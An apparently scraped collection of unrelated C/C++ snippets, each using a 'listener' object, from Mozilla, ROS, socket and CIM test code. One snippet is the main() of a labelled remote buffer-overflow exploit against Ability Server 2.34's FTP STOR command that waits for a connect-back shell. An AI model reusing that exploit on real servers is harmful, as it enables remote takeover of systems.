TEST_F(ClientQueueTest, testListener) {
                ASSERT_EQ(0, q->size());

                util::CountDownLatch latch(5);

                QueueTestItemListener listener(latch);
                std::string id = q->addItemListener(listener, true);

                util::sleep(1);

                for (int i = 0; i < 5; i++) {
                    ASSERT_TRUE(q->offer(std::string("event_item") + util::IOUtil::to_string(i)));
                }

                ASSERT_TRUE(latch.await(5));
                ASSERT_TRUE(q->removeItemListener(id));
            }
Example #2
0
void redemption_main_loop(Inifile & ini, unsigned uid, unsigned gid)
{
    init_signals();

    SessionServer ss(uid, gid);
    //    Inifile ini(CFG_PATH "/" RDPPROXY_INI);
    uint32_t s_addr = inet_addr(ini.globals.listen_address);
    if (s_addr == INADDR_NONE) { s_addr = INADDR_ANY; }
    int port = ini.globals.port;
    Listen listener( ss
                     , s_addr
                     , port
                     , false                              /* exit on timeout       */
                     , 60                                 /* timeout sec           */
                     , ini.globals.enable_ip_transparent
                     );
    listener.run();
}
Example #3
0
void Network::Server::createConnection(int desc, sockaddr_in in) {

    PipePair pipes = PipeFactory::createPipe();
    Connection * connection = new Connection(std::shared_ptr<Socket>(new Socket(desc,in)),pipes.first);
    std::shared_ptr<Connection> conPtr(connection);


    std::pair<int,std::shared_ptr<OutputPipe>> pair(desc,pipes.second);
    map.insert(pair);

    auto fun = std::bind([this,desc](std::shared_ptr<Connection> x) {
        listener(x);
        map.erase(desc);
    },conPtr);

    std::shared_ptr<std::thread> t(new std::thread(fun));
    workingThreads.push_back(t);
}
NS_IMETHODIMP
nsSHistory::PurgeHistory(PRInt32 aEntries)
{
  if (mLength <= 0 || aEntries <= 0)
    return NS_ERROR_FAILURE;

  aEntries = PR_MIN(aEntries, mLength);
  
  PRBool purgeHistory = PR_TRUE;
  // Notify the listener about the history purge
  if (mListener) {
    nsCOMPtr<nsISHistoryListener> listener(do_QueryReferent(mListener));
    if (listener) {
      listener->OnHistoryPurge(aEntries, &purgeHistory);
    } 
  }

  if (!purgeHistory) {
    // Listener asked us not to purge
    return NS_SUCCESS_LOSS_OF_INSIGNIFICANT_DATA;
  }

  PRInt32 cnt = 0;
  while (cnt < aEntries) {
    nsCOMPtr<nsISHTransaction> nextTxn;
    if (mListRoot)
      mListRoot->GetNext(getter_AddRefs(nextTxn));
    mListRoot = nextTxn;
    cnt++;        
  }
  mLength -= cnt;
  mIndex -= cnt;

  // Now if we were not at the end of the history, mIndex could have
  // become far too negative.  If so, just set it to -1.
  if (mIndex < -1) {
    mIndex = -1;
  }

  if (mRootDocShell)
    mRootDocShell->HistoryPurged(cnt);

  return NS_OK;
}
int main(int argc, char *argv[])
{
 char *buffer=malloc(1387),*A=malloc(968),*B=malloc(32),*reply=malloc(200);
 int x,l,news,f;
 memset(A,0x41,968);
 strcat(buffer,A);
 memset(B,0x42,32);
 strcat(buffer,RET);
 strcat(buffer,B);
 strcat(buffer,shellcode);
 printf("**Ability Server 2.34 Remote buffer overflow exploit in ftp STOR by NoPh0BiA.**\n");
 printf("[x] Launching listener.\n");
 l = listener();
 x = conn("192.168.0.1");
 sleep(5);
 printf("[x] Sending bad code...");
 write(x,"USER lar\r\nPASS lar\r\n",20);
 sleep(3);
 write(x,"STOR ",5);
 write(x,buffer,strlen(buffer));
 write(x,"\r\n\r\n",4);
 sleep(3);
 printf("done.\n");
 printf("[x] Waiting for shell.\n");
 close(x);
while(1)
{
 news = sizeof(struct sockaddr_in);
if((f=accept(l,(struct sockaddr *)&target,&news)) < 0)
 {
  perror("accept");
  continue;
 }
printf("[x] Got connection from %s.\n",inet_ntoa(target.sin_addr));
 if(!fork()){
 printf("[x] 0wn3d!\n\n");
 shell(f);
 close(f);
 exit(0);
}
 close(f);
}
 
}
Example #6
0
NS_IMETHODIMP nsMsgWindow::SetRootDocShell(nsIDocShell * aDocShell)
{
  nsresult rv;
  nsCOMPtr<nsIWebProgressListener> contentPolicyListener =
    do_GetService(NS_MSGCONTENTPOLICY_CONTRACTID, &rv);
  NS_ENSURE_SUCCESS(rv, rv);
  
  // remove the content policy webProgressListener from the root doc shell
  // we're currently holding, so we don't keep listening for loads that
  // we don't care about
  if (mRootDocShellWeak) {
    nsCOMPtr<nsIWebProgress> oldWebProgress = 
      do_QueryReferent(mRootDocShellWeak, &rv);
    if (NS_SUCCEEDED(rv)) {
      rv = oldWebProgress->RemoveProgressListener(contentPolicyListener);
      NS_ASSERTION(NS_SUCCEEDED(rv), "failed to remove old progress listener");
    } 
  }
  
  // Query for the doc shell and release it
  mRootDocShellWeak = nsnull;
  if (aDocShell)
  {
    mRootDocShellWeak = do_GetWeakReference(aDocShell);

    nsCOMPtr<nsIDocShell> messagePaneDocShell;
    GetMessageWindowDocShell(getter_AddRefs(messagePaneDocShell));
    nsCOMPtr<nsIURIContentListener> listener(do_GetInterface(messagePaneDocShell));
    if (listener)
      listener->SetParentContentListener(this);
  
    // set the contentPolicy webProgressListener on the root docshell for this
    // window so that it can allow JavaScript for non-message content
    nsCOMPtr<nsIWebProgress> docShellProgress = 
      do_QueryInterface(aDocShell, &rv);
    NS_ENSURE_SUCCESS(rv, rv);
    
    rv = docShellProgress->AddProgressListener(contentPolicyListener,
                                               nsIWebProgress::NOTIFY_LOCATION);
    NS_ENSURE_SUCCESS(rv, rv);
  }
  return NS_OK;
}
int main(int argc, char** argv)
{
    ros::init(argc, argv, "lidar_aggregator");
    ros::NodeHandle nh;
    ros::NodeHandle nhp("~");
    tf::TransformListener listener(nh, ros::Duration(20.0));
    g_transformer = &listener;
    ROS_INFO("Starting LIDAR aggregator...");
    nhp.param(std::string("fixed_frame"), g_fixed_frame, std::string("Body_TSY"));
    g_cloud_publisher = nh.advertise<sensor_msgs::PointCloud2>("pointcloud", 1, true);
    ros::ServiceServer server = nh.advertiseService("aggregate_lidar", LaserAggregationServiceCB);
    ROS_INFO("LIDAR aggregator loaded");
    while (ros::ok())
    {
        ros::spinOnce();
    }
    ROS_INFO("Shutting down LIDAR aggregator");
    return 0;
}
Example #8
0
static void _testIndicationsWithListenerNotRunning(CIMClient &client)
{
    Stopwatch watch;
    watch.start();
    cout << "Testing indications with listener not running..." << endl;
    CIMListener listener(2003);
    DeliveryRetryTestConsumer* consumer = new DeliveryRetryTestConsumer("1");
    listener.addConsumer(consumer);
    _generateIndications(client, MAX_INDICATIONS);
    _waitForNextMaxSequenceNumber(client);
    listener.start();
    _waitForIndications(client, consumer, HANDLER_COUNT * MAX_INDICATIONS);
    _testIndications(consumer->getIndications());
    watch.stop();
    cout << "Completed in ";
    watch.printElapsed();
    listener.stop();
    delete consumer;
}
void main() {
    try {
        SocketSystem su;
        std::string host = su.getHostName(), ip = su.getIpFromName(host), name = su.getNameFromIp(ip);
        SocketListener listener(2048);
        Socket sendr;
        if (!sendr.connect(name, 2048)) // can use ip addr, e.g., 127.0.0.1
            return;
        Socket recvr = listener.waitForConnect();
        // sending
        const char* msg1 = "this is a message";
        sendr.send(msg1, strlen(msg1) + 1);
        const char* msg2 = "and a final message";
        sendr.send(msg2, strlen(msg2) + 1);
        sendr.send("quit", strlen("quit") + 1);
        const int BufLen = 256;
        char buffer[BufLen];
        recvr.recv(buffer, strlen(msg1) + 1);
        recvr.recv(buffer, strlen(msg2) + 1);

        recvr.recv(buffer, strlen("quit") + 1);
        recvr.disconnect();
        sendr.disconnect();
        if (!sendr.connect(name, 2048)) {
            throw std::exception("\n  sender reconnect failed");
        }
        recvr = listener.waitForConnect();
        msg1 = "another message after reconnecting";
        std::cout << "\n  sender sending: " << msg1;
        sendr.send(msg1, strlen(msg1) + 1);
        recvr.recv(buffer, strlen(msg1) + 1);
        msg1 = "sending message back";
        recvr.send(msg1, strlen(msg1) + 1);
        recvr.send("quit", strlen("quit") + 1);
        // receiving
        sendr.recv(buffer, strlen(msg1) + 1);
        sendr.recv(buffer, strlen("quit") + 1);
        sendr.disconnect();
        recvr.disconnect();
    } catch (std::exception& e) {
        std::cout << "\n  " << e.what() << "\n\n";
    }
}
Example #10
0
/** On program startup:
 * Create 
 * - a Qt Application 
 * - an Object representing the ROS Node and its callback loop, 
 * - an OpenNIListener, setting up subscribers and callbacks for various formats of RGBD data
 * - a GraphManager, getting Nodes constructed from the RGBD data
 * - A Class providing a service call interface for ROS
 * - If applicable also a GUI
 * - let the above communicate internally via QT Signals, where communcication needs to be across threads or if the communication is conditional on the ROS node's parameterization.
 */
int main(int argc, char** argv)
{
  setlocale(LC_NUMERIC,"C");//Avoid expecting german decimal separators in launch files

  //create thread object, to run the ros event processing loop in parallel to the qt loop
  QtROS qtRos(argc, argv, "rgbdslam"); //ros node name & namespace

  //Depending an use_gui on the Parameter Server, a gui- or a headless application is used
  QApplication app(argc, argv, ParameterServer::instance()->get<bool>("use_gui")); 

  GraphManager graph_mgr;
  //Instantiate the kinect image listener
  OpenNIListener listener(&graph_mgr);
  std::string bagfile_name = ParameterServer::instance()->get<std::string>("bagfile_name");
  if(!bagfile_name.empty()) 
  {
    QObject::connect(&listener, SIGNAL(bagFinished()), &app, SLOT(quit()));
    QObject::connect(&listener, SIGNAL(bagFinished()), &qtRos, SLOT(quitNow()));
    QtConcurrent::run(&listener, &OpenNIListener::loadBag, bagfile_name);
  }

  Graphical_UI* gui = NULL;
	if (app.type() == QApplication::GuiClient){
      gui = new Graphical_UI();
      gui->show();
      gui_connections(gui, &graph_mgr, &listener);
      ui_connections(gui, &graph_mgr, &listener);//common connections for the user interfaces
  } else {
      ROS_WARN("Running without graphical user interface! See README or wiki page for how to interact with RGBDSLAM.");
  }
  //Create Ros service interface with or without gui
  RosUi ui("rgbdslam"); //ui namespace for service calls
  ui_connections(&ui, &graph_mgr, &listener);//common connections for the user interfaces

  //If one thread receives a exit signal from the user, signal the other thread to quit too
  QObject::connect(&app, SIGNAL(aboutToQuit()), &qtRos, SLOT(quitNow()));
  QObject::connect(&qtRos, SIGNAL(rosQuits()), &app, SLOT(quit()));

  qtRos.start();// Run main loop.
  app.exec();
  //if(ros::ok()) ros::shutdown();//If not yet done through the qt connection
  //ros::waitForShutdown(); //not sure if necessary. 
}
Example #11
0
nsresult WebBrowserChrome::CreateBrowser(int32_t aX, int32_t aY,
                                         int32_t aCX, int32_t aCY,
                                         nsIWebBrowser **aBrowser)
{
    NS_ENSURE_ARG_POINTER(aBrowser);
    *aBrowser = nullptr;

    mWebBrowser = do_CreateInstance(NS_WEBBROWSER_CONTRACTID);
    
    if (!mWebBrowser)
        return NS_ERROR_FAILURE;

    (void)mWebBrowser->SetContainerWindow(static_cast<nsIWebBrowserChrome*>(this));

    nsCOMPtr<nsIBaseWindow> browserBaseWindow = do_QueryInterface(mWebBrowser);

    mNativeWindow = WebBrowserChromeUI::CreateNativeWindow(static_cast<nsIWebBrowserChrome*>(this));

    if (!mNativeWindow)
        return NS_ERROR_FAILURE;

    browserBaseWindow->InitWindow( mNativeWindow,
                             nullptr, 
                             aX, aY, aCX, aCY);
    browserBaseWindow->Create();

    nsCOMPtr<nsIWebProgressListener> listener(static_cast<nsIWebProgressListener*>(this));
    nsCOMPtr<nsIWeakReference> thisListener(do_GetWeakReference(listener));
    (void)mWebBrowser->AddWebBrowserListener(thisListener, 
        NS_GET_IID(nsIWebProgressListener));

    // The window has been created. Now register for history notifications
    mWebBrowser->AddWebBrowserListener(thisListener, NS_GET_IID(nsISHistoryListener));

    if (mWebBrowser)
    {
      *aBrowser = mWebBrowser;
      NS_ADDREF(*aBrowser);
      return NS_OK;
    }
    return NS_ERROR_FAILURE;
}
Example #12
0
static void _testIndicationsWithListenerRunning(CIMClient &client)
{
    Stopwatch watch;
    watch.start();
    cout << "Testing indications with listener running..." << endl;
    CIMListener listener(2003);
    DeliveryRetryTestConsumer* consumer = new DeliveryRetryTestConsumer("1");
    listener.addConsumer(consumer);
    listener.start();
    _generateIndications(client, MAX_INDICATIONS);
    _waitForIndications(client, consumer, HANDLER_COUNT * MAX_INDICATIONS);
#ifdef PEGASUS_ENABLE_DMTF_INDICATION_PROFILE_SUPPORT
    _testIndications(consumer->getIndications());
#endif
    watch.stop();
    cout << "Completed in ";
    watch.printElapsed();

    delete consumer;
}
Example #13
0
int main(int argc, char** argv) {
	if (argc > 2) {
		std::cerr << "Usage: " << argv[0] << " [config file]\n";
		return 1;
	}

	try {
		Vita::string configPath(argc == 2 ? argv[1] : DEFAULT_CONFIG);

		Vita::config config;
		if (!config.loadFile(configPath)) {
			throw Exception(Exception::CONFIG_NOT_FOUND, "Failed to load configuration.");
		}

		if (config.get("daemonize").convert<bool>()) {
			daemonize();
		}

		Listener listener(config.get("device"));
		database = new Db(config.get("database"));
		unsigned int commitPeriod = config.get("commitPeriod").convert<unsigned int>();

		signal(SIGINT, terminate);
		signal(SIGTERM, terminate);

		while (THE_WORLD_IS_NOT_COMING_TO_AN_END) {
			listener.read(config.get("countRepeats").convert<bool>());
			counter++;

			if (commitPeriod > 0 && counter % commitPeriod == 0) {
				database->commit(counter);
				counter = 0;
			}
		}
	}
	catch (Exception e) {
		delete database;
		std::cerr << e.getStrError() << std::endl;
		return e.getCode();
	}
}
void SeasideCache::setFirstName(FilterType filterType, int index, const QString &firstName)
{
    CacheItem &cacheItem = m_cache[m_cacheIndices[m_contacts[filterType].at(index)]];

    QContactName name = cacheItem.contact.detail<QContactName>();
    name.setFirstName(firstName);
    cacheItem.contact.saveDetail(&name);

    QString fullName = name.firstName() + QChar::fromLatin1(' ') + name.lastName();
    cacheItem.nameGroup = determineNameGroup(&cacheItem);
    cacheItem.displayLabel = fullName;

    ItemListener *listener(cacheItem.listeners);
    while (listener) {
        listener->itemUpdated(&cacheItem);
        listener = listener->next;
    }

    if (m_models[filterType])
        m_models[filterType]->sourceDataChanged(index, index);
}
void TestRunnerThread::run()
{
    QtTestListener listener(m_output_widget, m_result_widget);
    TestResult result;

    global_logger().set_enabled(false);

    const filesystem::path old_current_path =
        Application::change_current_directory_to_tests_root_path();

    m_repository.run(listener, result);

    filesystem::current_path(old_current_path);

    global_logger().set_enabled(true);

    const int failed_count = static_cast<int>(result.get_case_failure_count());
    const int passed_count = static_cast<int>(result.get_case_execution_count()) - failed_count;

    emit signal_finished(passed_count, failed_count);
}
Example #16
0
void UploadOperation::processFolder()
{
    StringStorage message;

    // Try list files from folder
    FolderListener listener(m_pathToSourceFile.getString());
    if (listener.list()) {
        m_toCopy->setChild(listener.getFilesInfo(), listener.getFilesCount());
    } else {
        // Logging
        StringStorage message;

        message.format(_T("Error: failed to get file list in local folder '%s'"),
                       m_pathToSourceFile.getString());

        notifyError(message.getString());
    }

    // Send request to create folder
    m_sender->sendMkDirRequest(m_pathToTargetFile.getString());
}
// nsISimpleEnumerator implementation
NS_IMETHODIMP
sbMediaListEnumeratorWrapper::HasMoreElements(bool *aMore)
{
  NS_ENSURE_TRUE(mMonitor, NS_ERROR_NOT_INITIALIZED);
  NS_ENSURE_TRUE(mEnumerator, NS_ERROR_NOT_INITIALIZED);
  
  nsAutoMonitor mon(mMonitor);
  nsresult rv = mEnumerator->HasMoreElements(aMore);
  NS_ENSURE_SUCCESS(rv, rv);

  if(mListener) {
    nsCOMPtr<nsISimpleEnumerator> grip(mEnumerator);
    nsCOMPtr<sbIMediaListEnumeratorWrapperListener> listener(mListener);
    mon.Exit();

    rv = listener->OnHasMoreElements(grip, *aMore);
    NS_WARN_IF_FALSE(NS_SUCCEEDED(rv), "onHasMoreElements returned an error");
  }

  return NS_OK;
}
Example #18
0
void CGeckoView::CreateBrowser(dcmapHWND hwndParent,RECT const* rcWindow)
{
	nsresult nr;
	m_WebBrowser = do_CreateInstance(NS_WEBBROWSER_CONTRACTID);
	m_BrowserWindow = do_QueryInterface(m_WebBrowser);
    m_WebNav = do_QueryInterface(m_WebBrowser);

	nr = m_WebBrowser->SetContainerWindow(static_cast<nsIWebBrowserChrome*>(this));

	nsCOMPtr<nsIWebBrowserSetup> setup(do_QueryInterface(m_WebBrowser));  
	//if (setup) 
	//	setup->SetProperty(nsIWebBrowserSetup::SETUP_IS_CHROME_WRAPPER,PR_TRUE); 

	nr = m_BrowserWindow->InitWindow(hwndParent,nsnull,
		rcWindow->left,rcWindow->top,
		rcWindow->right-rcWindow->left,rcWindow->bottom-rcWindow->top);

	nr = m_BrowserWindow->Create();	

	nsCOMPtr<nsIWebProgressListener> listener(static_cast<nsIWebProgressListener*>(this));
	nsCOMPtr<nsIWeakReference> thisListener(do_GetWeakReference(listener));

	nr = m_WebBrowser->AddWebBrowserListener(thisListener,NS_GET_IID(nsIWebProgressListener));

	// The window has been created. Now register for history notifications
	nr = m_WebBrowser->AddWebBrowserListener(thisListener, NS_GET_IID(nsISHistoryListener));

	nr = m_BrowserWindow->SetVisibility(PR_TRUE);

	nsCOMPtr<nsIWebBrowserFocus> focus = do_QueryInterface(m_WebBrowser);
	focus->Activate();


	nr = m_WebNav->LoadURI(L"http://www.the-game.ru/",nsIWebNavigation::LOAD_FLAGS_NONE,nsnull,nsnull,nsnull);

	//nr = m_WebNav->LoadURI(L"http://2ip.ru/",nsIWebNavigation::LOAD_FLAGS_NONE,nsnull,nsnull,nsnull);

	
	return;
}
Example #19
0
int main (int argc, char** argv)
{
    glutInit (&argc, argv);
    glutInitWindowSize (512, 512);
    glutInitDisplayMode ( GLUT_RGB | GLUT_DOUBLE | GLUT_DEPTH);
    glutCreateWindow ("HitTester");
    glutDisplayFunc(display);
    glutReshapeFunc(reshape);
    glutIdleFunc(idle);
  
    // creating a two-touch regular expression
    // the first touch must hit a circle object and the second touch must hit a square object
    // the second touch must lift up before the first touch lifts up
    PtTouchSymbols regexp;
    convertStringToTouchSymbolRegularExpression(std::string("D0:C_(M0:C_)*D1:S_(M0:C_|M1:S_)*U1:S_(M0:C_)*U0:C_"), std::string("_"), regexp);
    addTriggerToIthTouchSymbol(&regexp, 0, 7);

    // creating the two-touch gesture with two callbacks that do nothing
    PtGesture *gesture1 = new PtGesture(regexp);
    gesture1->setName(std::string("TWO_TOUCH"));
    gesture1->addCallback(connectCallback);

    clearRegexp(&regexp);

    // create a PtTouchProcesser with two gesture matchers
    PtTouchProcessor touchProcessor;
    // first matcher gets gesture1 and gesture2
    touchProcessor.addGesture(gesture1);
        
    // assigns a HitTestAttributeGenerator to gesture matchers at indices 0 and 1
    touchProcessor.addAttributeGenerator(new HitTestAttributeGenerator(&_scene));
    
    // create TUIO listener on port 3333
    PtTuioListener listener(3333, &touchProcessor);

    glutMainLoop();

    return 0;
}
TYPED_TEST_P(HeartBeatTest, Ping) 
{
    typedef TypeParam socket;
    auto log = redhorn::logging::get_logger("main");

    redhorn::iopool pool(redhorn::logging::get_logger("iopool"));
    redhorn::heart_beat heart(redhorn::logging::get_logger("heart"),
                              std::chrono::milliseconds(20),
                              std::chrono::milliseconds(20));
    
    pool.start(2);
    heart.start();

    redhorn::listener listener(port);

    std::thread connect_thread(connect_ping_thread<socket>, redhorn::logging::get_logger("connect_thread"));

    log.info("accepting");
    socket sock = listener.accept<socket>();
    ASSERT_TRUE(static_cast<bool>(sock));

    log.info("accepted");

    pool.bind(sock);
    heart.bind(sock, 
               std::chrono::milliseconds::zero(),
               std::function<message()>(drummer));

    log.info("joining");
    connect_thread.join();
    log.info("joined");
    heart.unbind(sock);

    heart.stop();
    pool.stop();
    heart.wait();
    pool.wait();
    
}
Example #21
0
void redemption_main_loop(Inifile & ini, CryptoContext & cctx, unsigned uid, unsigned gid, std::string config_filename)
{
    init_signals();

    SessionServer ss(cctx, uid, gid, std::move(config_filename), ini.get<cfg::debug::config>() == Inifile::ENABLE_DEBUG_CONFIG);
    //    Inifile ini(CFG_PATH "/" RDPPROXY_INI);
    uint32_t s_addr = inet_addr(ini.get<cfg::globals::listen_address>().c_str());
// TODO -Wold-style-cast is ignored
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wold-style-cast"
    if (s_addr == INADDR_NONE) { s_addr = INADDR_ANY; }
#pragma GCC diagnostic pop
    int port = ini.get<cfg::globals::port>();
    Listen listener( ss
                     , s_addr
                     , port
                     , false                              /* exit on timeout       */
                     , 60                                 /* timeout sec           */
                     , ini.get<cfg::globals::enable_ip_transparent>()
                     );
    listener.run();
}
Example #22
0
int main(int argc, char **argv) {
    // Command line options
    std::string address("127.0.0.1:5672/examples");
    int message_count = 100;
    options opts(argc, argv);
    opts.add_value(address, 'a', "address", "listen and send on URL", "URL");
    opts.add_value(message_count, 'm', "messages", "send COUNT messages", "COUNT");
    try {
        opts.parse();
        proton::url url(address);
        proton::io::socket::listener listener(url.host(), url.port());
        std::cout << "direct_send listening on " << url << std::endl;
        simple_send handler(message_count);
        proton::io::socket::engine(listener.accept(), handler).run();
        return 0;
    } catch (const bad_option& e) {
        std::cout << opts << std::endl << e.what() << std::endl;
    } catch (const std::exception& e) {
        std::cerr << e.what() << std::endl;
    }
    return 1;
}
Example #23
0
TCPClient::TCPClient(const char* hostname, WORD port)
{
	struct hostent *host = gethostbyname(hostname);
	assert(host != nullptr);

	m_socket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	assert(m_socket != INVALID_SOCKET);

	struct sockaddr_in addr;
	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);
	addr.sin_addr.s_addr = *(long*)(host->h_addr);

	int connect_res = connect(m_socket, (struct sockaddr*)&addr, sizeof(addr));
	assert(connect_res == 0);

	//OnConneced....

	std::thread listener(&TCPClient::Listener, this);
	listener.detach();
}
NS_IMETHODIMP
sbWindowMoveService::StartWatchingWindow(nsISupports *aWindow,
                                         sbIWindowMoveListener *aListener)
{
  NS_ENSURE_ARG_POINTER(aWindow);
  NS_ENSURE_ARG_POINTER(aListener);
  
  NS_WARN_IF_FALSE(NS_IsMainThread(), "This service is MAIN THREAD ONLY!");

  HWND windowHandle = NULL;
  
  windowHandle = NativeWindowFromNode::get(aWindow);
  NS_ENSURE_TRUE(windowHandle, NS_ERROR_INVALID_ARG);

  // Already hooked. Can only hook once.
  if(IsHooked(windowHandle)) {
    NS_WARNING("Window already hooked. Can only hook a window once.");
    return NS_OK;
  }

  BOOL success = ::SetPropW(windowHandle, PROP_WMS_INST, (HANDLE) this);
  NS_ENSURE_TRUE(success != 0, NS_ERROR_UNEXPECTED);

  HHOOK hookHandle = ::SetWindowsHookEx(WH_CALLWNDPROC, 
                                        sbWindowMoveService::CallWndProc,
                                        NULL,
                                        ::GetCurrentThreadId());
  NS_ENSURE_TRUE(hookHandle, NS_ERROR_FAILURE);

  nsCOMPtr<sbIWindowMoveListener> listener(aListener);
  mListeners.insert(
    std::make_pair<HWND, nsCOMPtr<sbIWindowMoveListener> >(windowHandle, 
                                                           listener));

  mHooks.insert(std::make_pair<HWND, HHOOK>(windowHandle, hookHandle));

  return NS_OK;
}
Example #25
0
int main(int argc, char *argv[])
	try
{
	std::vector<std::string> positional;
	bool live = false;
	std::string filter;
	uint32_t every = 5*60;
	for (int n=1; n<argc; ++n)
	{
		std::string arg = argv[n];
		bool havenext = n+1 < argc;
		if (havenext && (arg == "--bpf" || arg == "--filter"))
		{ filter = argv[n+1]; ++n; }
		else if (havenext && (arg == "--every" || arg == "-e"))
		{ every = boost::lexical_cast<uint32_t>(argv[n+1]); ++n; }
		else if (arg == "--live")
			live = true;
		else if (arg == "-h" or arg == "--help")
		{
			printhelp(argv[0]);
			return -1;
		}
		else positional.push_back(arg);
	}
	if (live && positional.size()>1)
		throw format_exception("can only do live capture on one device (use 'any' for all)");
	if (!live && positional.empty())
		throw format_exception("need at least one pcap file");

	my_packet_listener_t listener(every);
	pcap_reader_t reader(&listener);
	if (!live)
	{
		BOOST_FOREACH(const std::string &file, positional)
			reader.read_file(file, filter);
	}
	else
	{
Example #26
0
void MainFrame::on_scan_file(wxCommandEvent& WXUNUSED(event))
{
    wxString filename = wxFileSelector(wxT("Open"), wxT(""), wxT(""), wxT(""),
                                       wxT("*.*"),
                                       wxFD_OPEN | wxFD_FILE_MUST_EXIST);
    if(filename.empty()) return;
    FileScan file_scan;
    file_scan.set_filename(filename);
    std::tr1::shared_ptr<HashContext> md5 = HashContext::md5();
    std::tr1::shared_ptr<HashContext> sha1 = HashContext::sha1();
    std::tr1::shared_ptr<HashContext> sha256 = HashContext::sha256();
    std::tr1::shared_ptr<HashContext> pieceSha1 = HashContext::sha1();
    file_scan.add_file_hash_ctx(md5);
    file_scan.add_file_hash_ctx(sha1);
    file_scan.add_file_hash_ctx(sha256);
    file_scan.set_piece_hash_ctx(pieceSha1);
    file_scan.set_piece_length(4194304); // 4MiB
    wxProgressDialog dialog(wxT("Scanning file"), wxT("Scanning file..."),
                            100, NULL,
                            wxPD_AUTO_HIDE | wxPD_APP_MODAL | wxPD_SMOOTH |
                            wxPD_ELAPSED_TIME | wxPD_REMAINING_TIME);
    ProgressDialogProgressListener listener(&dialog);
    file_scan.set_listener(&listener);
    try {
        file_scan.scan();
    } catch(FileScanError& e) {
        wxLogError(wxT("Failed to scan file: ")+wxString(e.what(), wxConvUTF8));
    }
    wxString basename = wxFileName(filename).GetFullName();
    MetalinkFile file(basename);
    file.set_size(file_scan.get_length());
    file.add_file_hash(wxT("md5"), md5->hex_digest());
    file.add_file_hash(wxT("sha-1"), sha1->hex_digest());
    file.add_file_hash(wxT("sha-256"), sha256->hex_digest());
    file.set_piece_hash(wxT("sha-1"), file_scan.get_piece_length(),
                        file_scan.get_piece_hashes());
    editor_.add_file(file);
}
Example #27
0
TEST(BootstrapTest, testBootstrapListenerRegistersAction)
{
    static bool is_action_registered = false;

    class MockServer
    {
    public:
        MockServer(std::string address, short port)
        {
        }
        void RegisterAction(std::function<void(std::string content)> action)
        {
            is_action_registered = true;
        }
        void Start()
        {
        }
    };

    auto legislators = std::make_shared<paxos::ReplicaSet>();
    paxos::BootstrapListener<MockServer> listener(legislators, "my-address", 111);
    ASSERT_TRUE(is_action_registered);
}
int main(int argc, char **argv)
{


    ros::init(argc, argv, "transformPose");
    TransformPose transform_Pose;
    // Refresh rate
    ros::Rate loop_rate(50);                                // 35 with bluetooth

    tf::TransformListener listener(ros::Duration(10));


    while (ros::ok()) {
        ros::spinOnce();
        loop_rate.sleep();

        transform_Pose.publish_all(boost::ref(listener));

    }

    ros::Duration(2.0).sleep();

    ros::shutdown();
}
TEST(BulkDataNotifications, test_listener_buckets_changed)
{
    stk::ParallelMachine comm = MPI_COMM_WORLD;
    int numProcs = stk::parallel_machine_size(comm);
    if (numProcs==2)
    {
        stk::mesh::MetaData meta(3);
        stk::mesh::unit_test::BulkDataTester mesh(meta, comm, stk::mesh::BulkData::NO_AUTO_AURA);

        const std::string generatedMeshSpec = "generated:1x1x2";
        stk::unit_test_util::fill_mesh_using_stk_io(generatedMeshSpec, mesh, comm);

        TestListener listener(comm);
        mesh.register_observer(&listener);

        int procId = stk::parallel_machine_rank(comm);

        stk::mesh::Part& newPart = meta.declare_part("new part", stk::topology::NODE_RANK);
        stk::mesh::Entity node1 = mesh.get_entity(stk::topology::NODE_RANK, 1);

        if (procId == 0) {
            EXPECT_TRUE(mesh.is_valid(node1));
        }
        else {
            EXPECT_FALSE(mesh.is_valid(node1));
        }

        mesh.modification_begin();
        if (procId == 0) {
            mesh.change_entity_parts(node1, {&newPart});
        }
        mesh.modification_end();

        EXPECT_EQ(1u, listener.get_buckets_changed(stk::topology::NODE_RANK));
    }
}
void test_emit (void)
{
  pid_t pid;
  int status;

  pid = fork ();
  assert ( pid >= 0 );

  if ( pid == 0 )
    {
      /* child listens */
      listener (mcast_ip, mcast_port, mcast_iface);
      exit (0);
    }
  else
    {
      /* parent emits */
      sleep (1);
      emitter (mcast_ip, mcast_port, mcast_iface);
      /* then waits for child */
      assert ( wait (&status) == pid );
      assert ( status == 0 );
    }
}